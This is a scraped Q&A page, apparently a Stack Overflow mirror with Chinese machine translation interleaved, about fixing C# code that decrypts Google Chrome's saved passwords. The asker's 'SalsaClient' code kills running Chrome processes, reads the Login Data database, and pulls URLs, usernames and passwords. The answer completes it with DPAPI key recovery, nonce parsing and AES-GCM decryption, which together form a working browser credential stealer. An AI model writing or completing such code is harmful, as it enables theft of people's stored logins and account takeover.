简体   繁体   English

System.Security.Cryptography.CryptographicException:“参数不正确”/ Aes 256 Gcm 解密

[英]System.Security.Cryptography.CryptographicException: "The parameter is incorrect" / Aes 256 Gcm Decryption

I've had the same issue for two days now: System.Security.Cryptography.CryptographicException: The parameter is incorrect我已经有同样的问题两天了: System.Security.Cryptography.CryptographicException: The parameter is wrong

in System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope scope)在 System.Security.Cryptography.ProtectedData.Unprotect(Byte[] encryptedData, Byte[] optionalEntropy, DataProtectionScope 范围)

I used this project for my code: https://github.com/jabiel/BrowserPass/tree/master/BrowserPass我将这个项目用于我的代码: https : //github.com/jabiel/BrowserPass/tree/master/BrowserPass

In that project the error should be in ChromePassReader.cs, line 42 I guess.在那个项目中,错误应该在 ChromePassReader.cs 中,我猜是第 42 行。

Everything was working properly on my computer, a friend of mine made me try it on his computer and it's not working for him.在我的电脑上一切正常,我的一个朋友让我在他的电脑上尝试,但对他不起作用。 I have tried also on other PCs, but without success.我也在其他电脑上尝试过,但没有成功。

Most suitable answer (proposed by Topaco): The type of decryption I'm using is useful for Data Encrypted with DPAPI.最合适的答案(由 Topaco 提出):我使用的解密类型对于使用 DPAPI 加密的数据很有用。 Since v80.0 or later Chrome version, password data are encrypted using Aes 256 Gcm, so:从 v80.0 或更高版本的 Chrome 版本开始,密码数据使用 Aes 256 Gcm 加密,因此:

Update更新

I tried writing a code to decrypt AesGcm256 Password data.我尝试编写代码来解密 AesGcm256 密码数据。 I get the user data from the database, located in Google Chrome folders, called Login Data.我从名为 Login Data 的 Google Chrome 文件夹中的数据库中获取用户数据。 Then I should decrypt the password I get from there using AesGcm256 Decryption, but I'm not able to do it.然后我应该使用 AesGcm256 Decryption 解密我从那里获得的密码,但我无法做到。 This is my attempt:这是我的尝试:

Where I get URLs, Usernames, Passwords:我在哪里获得 URL、用户名、密码:

using System;
using System.Collections.Generic;
using System.Net;
using System.Data.SQLite;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.IO;
using System.Security.Cryptography;
using System.Diagnostics;
using SalsaClient.Algorithm;

namespace SalsaClient.CDS
{
    class ChromePassReader : IPassReader
    {
        public string BrowserName { get { return "Chrome"; } }

        private const string LOGIN_DATA_PATH = "\\..\\Local\\Google\\Chrome\\User Data\\Default\\Login Data";


        public IEnumerable<CredentialModel> ReadPasswords()
        {
            var result = new List<CredentialModel>();

            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var p = Path.GetFullPath(appdata + LOGIN_DATA_PATH);

            if (File.Exists(p))
            {
                Process[] chromeInstances = Process.GetProcessesByName("chrome");
                foreach (Process proc in chromeInstances)
                    proc.Kill();

                using (var conn = new SQLiteConnection($"Data Source={p};"))
                {
                    conn.Open();
                    using (var cmd = conn.CreateCommand())
                    {
                        cmd.CommandText = "SELECT action_url, username_value, password_value FROM logins";
                        using (var reader = cmd.ExecuteReader())
                        {

                            if (reader.HasRows)
                            {
                                while (reader.Read())
                                {

                                    var pass = AesGcm256.decrypt(GetBytes(reader, 2)); //encrypted data

                                    result.Add(new CredentialModel()
                                    {
                                        Url = reader.GetString(0),
                                        Username = reader.GetString(1),
                                        Password = pass
                                    });

                                }
                            }
                        }
                    }
                    conn.Close();
                }

            }
            else
            {
                throw new FileNotFoundException("Cannot find chrome logins file");
            }
            return result;
        }

        private byte[] GetBytes(SQLiteDataReader reader, int columnIndex)
        {
            const int CHUNK_SIZE = 2 * 1024;
            byte[] buffer = new byte[CHUNK_SIZE];
            long bytesRead;
            long fieldOffset = 0;
            using (MemoryStream stream = new MemoryStream())
            {
                while ((bytesRead = reader.GetBytes(columnIndex, fieldOffset, buffer, 0, buffer.Length)) > 0)
                {
                    stream.Write(buffer, 0, (int)bytesRead);
                    fieldOffset += bytesRead;
                }
                return stream.ToArray();
            }
        }
    }
}

Algorithm:算法:

using Newtonsoft.Json;
using Org.BouncyCastle.Crypto.Engines;
using Org.BouncyCastle.Crypto.Modes;
using Org.BouncyCastle.Crypto.Parameters;
using System;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;

namespace SalsaClient.Algorithm
{
    class AesGcm256
    {
        public static string GetKey()
        {
            string sR = string.Empty;
            var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA
            var path = Path.GetFullPath(appdata + "\\..\\Local\\Google\\Chrome\\User Data\\Local State");

            string v = File.ReadAllText(path);

            dynamic json = JsonConvert.DeserializeObject(v);
            string key = json.os_crypt.encrypted_key;

            byte[] src = Convert.FromBase64String(key);
            byte[] encryptedKey = src.Skip(5).ToArray();

            byte[] data = Convert.FromBase64String(encodedString);
            string decodedString = Encoding.UTF8.GetString(data);

            byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser);
        }

        public static string decrypt(string EncryptedText, byte[] key, byte[] iv)
        {
            string sR = string.Empty;
            try
            {
                byte[] encryptedBytes = Convert.FromBase64String(EncryptedText);

                GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine());
                AeadParameters parameters = new AeadParameters(new KeyParameter(key), 128, iv, null);

                cipher.Init(false, parameters);
                byte[] plainBytes = new byte[cipher.GetOutputSize(encryptedBytes.Length)];
                Int32 retLen = cipher.ProcessBytes(encryptedBytes, 0, encryptedBytes.Length, plainBytes, 0);
                cipher.DoFinal(plainBytes, retLen);

                sR = Encoding.UTF8.GetString(plainBytes).TrimEnd("\r\n\0".ToCharArray());
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                Console.WriteLine(ex.StackTrace);
            }

            return sR;
        }
    }
}

Unfortunately you didn't describe what exactly doesn't work.不幸的是,您没有描述到底什么不起作用。 However, most of the code seems to be implemented correctly.但是,大部分代码似乎都正确实现了。 In some parts a few minor changes and additions are necessary:在某些部分,需要进行一些小的更改和添加:

  • The DPAPI decryption of the AES key takes place in SalsaClient.Algorithm.AesGcm256.GetKey() . AES 密钥的 DPAPI 解密发生在SalsaClient.Algorithm.AesGcm256.GetKey() Here the return statement is missing.这里缺少 return 语句。 The return value is of type string .返回值的类型是string Since the key generally consists of arbitrary binary data, a suitable encoding like Base64 or hexadecimal should be used if the data are to be returned as string.由于密钥通常由任意二进制数据组成,如果数据要作为字符串返回,则应使用合适的编码,如 Base64 或十六进制。 Alternatively, the key can be returned as byte[] , as in the following adaption:或者,密钥可以作为byte[]返回,如下面的改编:

     public static byte[] GetKey() { string sR = string.Empty; var appdata = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);// APPDATA var path = Path.GetFullPath(appdata + "\\\\..\\\\Local\\\\Google\\\\Chrome\\\\User Data\\\\Local State"); string v = File.ReadAllText(path); dynamic json = JsonConvert.DeserializeObject(v); string key = json.os_crypt.encrypted_key; byte[] src = Convert.FromBase64String(key); byte[] encryptedKey = src.Skip(5).ToArray(); byte[] decryptedKey = ProtectedData.Unprotect(encryptedKey, null, DataProtectionScope.CurrentUser); return decryptedKey; }
  • Next, SalsaClient.CDSChromePassReader#ReadPasswords() must be modified slightly:接下来,必须稍微修改SalsaClient.CDSChromePassReader#ReadPasswords()

    • The AES key must be determined.必须确定 AES 密钥。
    • The nonce and the actual ciphertext must be determined from the data read from the DB. nonce 和实际密文必须根据从 DB 读取的数据来确定。
    • The decryption of the passwords must be carried out (using AES key, nonce and actual ciphertext).必须执行密码的解密(使用 AES 密钥、随机数和实际密文)。


    Overall:总体:

     ... byte[] key = AesGcm256.GetKey(); while (reader.Read()) { byte[] encryptedData = GetBytes(reader, 2); byte[] nonce, ciphertextTag; AesGcm256.prepare(encryptedData, out nonce, out ciphertextTag); string pass = AesGcm256.decrypt(ciphertextTag, key, nonce); ... } ...
  • The determination of nonce and actual ciphertext is performed in the new method SalsaClient.Algorithm.AesGcm256.prepare() . nonce 和实际密文的确定在新方法SalsaClient.Algorithm.AesGcm256.prepare() At this point the information from the linked article is needed: The data associated with a password consists of the following parts:此时需要链接文章中的信息:与密码相关的数据由以下部分组成:

    • The first three bytes are the ASCII encoding of v10 (0x763130) .前三个字节是v10 (0x763130)的 ASCII 编码。
    • The next 12 bytes are the nonce.接下来的 12 个字节是随机数。
    • This is followed by the actual ciphertext.接下来是实际的密文。
    • The last 16 bytes are the authentication tag of the GCM mode.最后 16 个字节是 GCM 模式的认证标签。


    The actual ciphertext and the authentication tag don't need to be separated, because the C#/BC implementation of AES-GCM processes both parts together:实际密文和认证标签不需要分开,因为 AES-GCM 的 C#/BC 实现将这两个部分一起处理:

     public static void prepare(byte[] encryptedData, out byte[] nonce, out byte[] ciphertextTag) { nonce = new byte[12]; ciphertextTag = new byte[encryptedData.Length - 3 - nonce.Length]; System.Array.Copy(encryptedData, 3, nonce, 0, nonce.Length); System.Array.Copy(encryptedData, 3 + nonce.Length, ciphertextTag, 0, ciphertextTag.Length); }
  • Since the encrypted data (actual ciphertext and authentication tag) are in binary format, it's more convenient to pass these data to SalsaClient.Algorithm.AesGcm256.decrypt() as byte[] and not as string :由于加密数据(实际密文和认证标签)是二进制格式,将这些数据作为byte[]而不是string传递给SalsaClient.Algorithm.AesGcm256.decrypt()更方便:

     public static string decrypt(byte[] encryptedBytes, byte[] key, byte[] iv) { string sR = string.Empty; try { GcmBlockCipher cipher = new GcmBlockCipher(new AesFastEngine()); ...

    The decrypted data are trimmed in the posted code at the end (line breaks and 0-values).解密的数据在最后发布的代码中被修剪(换行符和 0 值)。 Actually this shouldn't be necessary.其实这不应该是必要的。 But maybe you have special reasons for this.但也许你有特殊的原因。

  • At this point all necessary changes have been made.此时,所有必要的更改都已完成。 The decryption of the passwords is then accomplished by executing in the Main method:然后通过在Main方法中执行来完成密码的解密:

     SalsaClient.CDS.ChromePassReader chromePassReader = new SalsaClient.CDS.ChromePassReader(); IEnumerable<CredentialModel> credentialList = chromePassReader.ReadPasswords();

With this code I can decrypt the Chrome passwords on my machine (whereby my DB exclusively contains AES-GCM encrypted passwords).使用此代码,我可以解密我机器上的 Chrome 密码(因此我的数据库只包含 AES-GCM 加密密码)。 Note, however, that not all passwords have to be AES-GCM encrypted.但请注意,并非所有密码都必须经过 AES-GCM 加密。 Old passwords (from before v80) can still be DPAPI encrypted.旧密码(从 v80 之前)仍然可以被 DPAPI 加密。 Of course, they cannot be decrypted in the described way, but must be DPAPI decrypted.当然,它们不能以所描述的方式解密,而必须是 DPAPI 解密的。 As mentioned above, passwords encrypted with AES-GCM can be identified by the fact that they start with the ASCII encoding of v10 (0x763130) .如上所述,使用 AES-GCM 加密的密码可以通过以下事实来识别:它们以v10 (0x763130)的 ASCII 编码v10 (0x763130) Maybe you need to add a corresponding case distinction to your code (at least if DPAPI encrypted passwords are still stored in the DB).也许您需要在您的代码中添加相应的大小写区别(至少如果 DPAPI 加密的密码仍然存储在 DB 中)。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

相关问题 System.Security.Cryptography.CryptographicException:参数不正确 - System.Security.Cryptography.CryptographicException: The parameter is incorrect TwilioRequestValidator 中的瞬态 System.Security.Cryptography.CryptographicException - Transient System.Security.Cryptography.CryptographicException in TwilioRequestValidator System.Security.Cryptography.CryptographicException:句柄无效 - System.Security.Cryptography.CryptographicException: The handle is invalid System.Security.Cryptography.CryptographicException:'Cryptography_OAEPDecoding' - System.Security.Cryptography.CryptographicException: 'Cryptography_OAEPDecoding' System.Security.Cryptography.CryptographicException:系统找不到指定的文件 - System.Security.Cryptography.CryptographicException: The system cannot find the file specified 重置Microsoft Identity上的密码会导致System.Security.Cryptography.CryptographicException - Resetting password on Microsoft Identity causes System.Security.Cryptography.CryptographicException System.Security.Cryptography.CryptographicException:密钥集不存在 - System.Security.Cryptography.CryptographicException: keyset does not exist PrivateKey抛出了System.Security.Cryptography.CryptographicException类型的异常 - PrivateKey threw an exception of type System.Security.Cryptography.CryptographicException System.Security.Cryptography.CryptographicException:'输入数据不是一个完整的块。' - System.Security.Cryptography.CryptographicException: 'The input data is not a complete block.' System.Security.Cryptography.CryptographicException:RSACryptoserviceProvider中的长度错误 - System.Security.Cryptography.CryptographicException : Bad length in RSACryptoserviceProvider
 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM